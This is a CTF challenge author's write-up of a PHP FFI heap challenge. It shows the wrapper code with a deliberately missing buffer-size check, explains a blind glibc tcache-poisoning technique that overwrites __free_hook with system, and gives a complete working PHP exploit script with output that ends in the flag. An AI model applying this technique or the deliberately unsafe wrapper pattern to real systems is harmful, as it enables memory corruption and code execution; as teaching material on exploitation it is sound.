0%

0x00 Why do I make this challenge

When I was preparing ctfhub,I found I needed a bridge between PHP and native C libraries. Writing a PHP extension is too laborious, so I tried a new feature since PHP 7.4 : FFI. Because PHP FFI is more and more popular these days, making a chall about PHP FFI is a good idea.

0x01 Initial Analysis

The execution environment seems to be safe.
I configured ffi.enable=preload in php.ini,so you can only use FFI functions defined in ffi.inc.php. What’s more, with ffi.enable=preload, you can’t use some FFI OOB R/W tricks.
Let’s have a look at ffi.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function pstr2ffi(string $str){
$len=intval((strlen($str)+7)/8);
if($len>600) die("oom");
$obj=FFI::new("unsigned long long[".strval($len)."]",false,true);
FFI::memcpy($obj,$str,$len*8);
return $obj;
}
function creatbuf($size){
$size=intval($size);
if($size<=0) die("oom");
if($size>4800) die("oom");
$len=intval(($size+7)/8);
return FFI::new("unsigned long long[".strval($len)."]",false,true);
}
function releasestr($str){
FFI::free($str);
}
function getstr($x,$len){
return FFI::string($x,$len);
}
function encrypt_impl($in,$blks,$key,$out){
if($blks>300) die("too many data");
FFI::scope("crypt")->encrypt($in,$blks,$key,$out);
}
function decrypt_impl($in,$blks,$key,$out){
if($blks>300) die("too many data");
FFI::scope("crypt")->decrypt($in,$blks,$key,$out);
}
?>

Function wrappers(encrypt_impl,decrypt_impl) take 4 arguments:input buffer,output buffer,key,and buffer size/8.i/o buffer is FFI/CData allocated by creatbuf/pstr2ffi.
I forget to check the size of buffers here,so you can OOB R/W using these wrappers.

0x02 Exploit

You can OOB R/W FFI Arrays now,but where are they allocated? I use persistent flag in FFI::new,which means FFI Arrays will be allocated on GLIBC heap,not PHP internal heap.
Since you can OOB RW,malloc,free on the heap,exploit seems to be very easy. OOB read to leak libc base address by fd/bk in bin chunks. OOB write to hijack tcache so that we can rewrite _free_hook to system. Then free('/readflag').

0x03 Blind heap exploit!

If you can debug locally,everything is easy. But this time you can’t debug, and even don’t have the php binary, how to perform the heap exploit?
circleous’s unintended sol prints out data on the heap, and analyzes heap layout locally. But if I close stdout&stderr, how can you exploit it?
In other words,is there a stable method to perform exploit if you do not know heap layout?
The answer is yes. Rethink what we want to do about heap.
First,we want to leak libc base address. OOB read a chunk in (unsorted/small/large)bin to get a address with a fixed offset from main_arena,and then you can calculate libc addr.But it is a bit difficult to find out which chunk is in (unsorted/small/large)bin when you are faced with a unknown heap layout.
Second,we want to hijack tcache to alloc to _free_hook.But it is also difficult to determine which chunk to hijack…
Now let me introduce an interesting theorem.

  • if malloc(fixed_size) returns a chunk splited from top chunk,next malloc(fixed_size) will return a chunk splited from top chunk as well. What’s more, the two chunks are adjacent.

We can alloc many small and big chunks first to use up all the free bins.Then,alloc a big chunk(chunk1),it must be splited from top chunk.According to the theorem,next malloc with the same size will return an adjacent chunk(chunk2).Free the chunk2 and it will be put into (unsorted/large)bins.OOB read in chunk1,we will get fd&bk for chunk2.Use the lower 12 bits to determine whether it is in unsortedbin. So libc has been leaked.
After that,you can alloc many small chunks, until chunk2 is splited. Now we can control a small chunk by OOB write to chunk2. Hijack tcache and getshell!

0x04 script

Homework

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
function freebuf($x)
{
releasestr($x);
}
$cpbuf = creatbuf(544 * 8);
function memcpy($d, $s, $l)
{
global $cpbuf;
encrypt_impl($s, $l / 8, 0, $cpbuf);
decrypt_impl($cpbuf, $l / 8, 0, $d);
}
$binsh = pstr2ffi("/readflag\x00\x00\x00\x00\x00\x00\x00");
for ($i = 0; $i < 20; ++$i) {
creatbuf(272 * 8); //use up all big free bins,so that next allocation is a split from top chunk
}
$buffer = creatbuf(544 * 8);
$a = creatbuf(272 * 8); //chunk1
$b = creatbuf(272 * 8); //chunk2
$pad = creatbuf(272 * 8); //padding chunk
for ($i = 0; $i < 1500; ++$i) {
creatbuf(8 * 16); //use up all small free bins
}
freebuf($b);
memcpy($buffer, $a, (272 + 21) * 8); //OOB read

$i = 272;
$nowsz = ($buffer[$i + 1] >> 3);
printf("nowsz %x\n", $nowsz);
ob_flush();
if ($nowsz > 0x100) {
$fd = $buffer[$i + 2];
$bk = $buffer[$i + 3];
printf("fd and bk %x %x\n", $fd, $bk);
ob_flush();
if (($bk >> 40) == 0x7f && ($bk & 0xfff) == 0xbe0) {
printf("get unsorted bin\n");
ob_flush();
$chunks = array();
for ($i = 0; $i < 1000; ++$i) {
$last = pstr2ffi(str_repeat("\x33", 8 * 16));
array_push($chunks, $last);
memcpy($buffer, $a, (272 + 21) * 8); //OOB read
if ($buffer[272 + 2] == 0x3333333333333333) {
//we now alloc a chunk to the area we can control
$dummy = creatbuf(8 * 16);
assert(($buffer[272 + 20] & 0xfff) == 0xbe0);
$libc_base = $buffer[272 + 20] - 2014176;
$libc_free_hook = $libc_base + 2026280;
//step 1,add a chunk into tcache
freebuf($chunks[0]);
//step 2,add dummy into tcache
freebuf($dummy);
memcpy($buffer, $a, (272 + 21) * 8);
//step 3,tcache posion
$buffer[272 + 20] = $libc_free_hook;
memcpy($a, $buffer, (272 + 21) * 8); //OOB write,tcache hijack
//step 4 alloc to &_free_hook
creatbuf(8 * 16);
$free_hook = creatbuf(8 * 16);
$free_hook[0] = $libc_base + 349200;
freebuf($binsh);
$free_hook[0] = 0x0;
return;
} else {
printf("failed:( good luck next try\n");
ob_flush();
}
}
return;
}
} else {
printf("failed?!\n");
ob_flush();
}

output:

1
2
3
4
5
6
7
8
9
10
11
12
13
nowsz 112
fd and bk 55d86af501d0 7f393baeabe0
get unsorted bin
failed:( good luck next try
failed:( good luck next try
failed:( good luck next try
failed:( good luck next try
failed:( good luck next try
failed:( good luck next try
failed:( good luck next try
failed:( good luck next try
failed:( good luck next try
n1ctf{Ma5TEr_Of_PHP_d70809e19fbdb091a3f607c2b86a3a05a483670c9e45124c6796c6e830}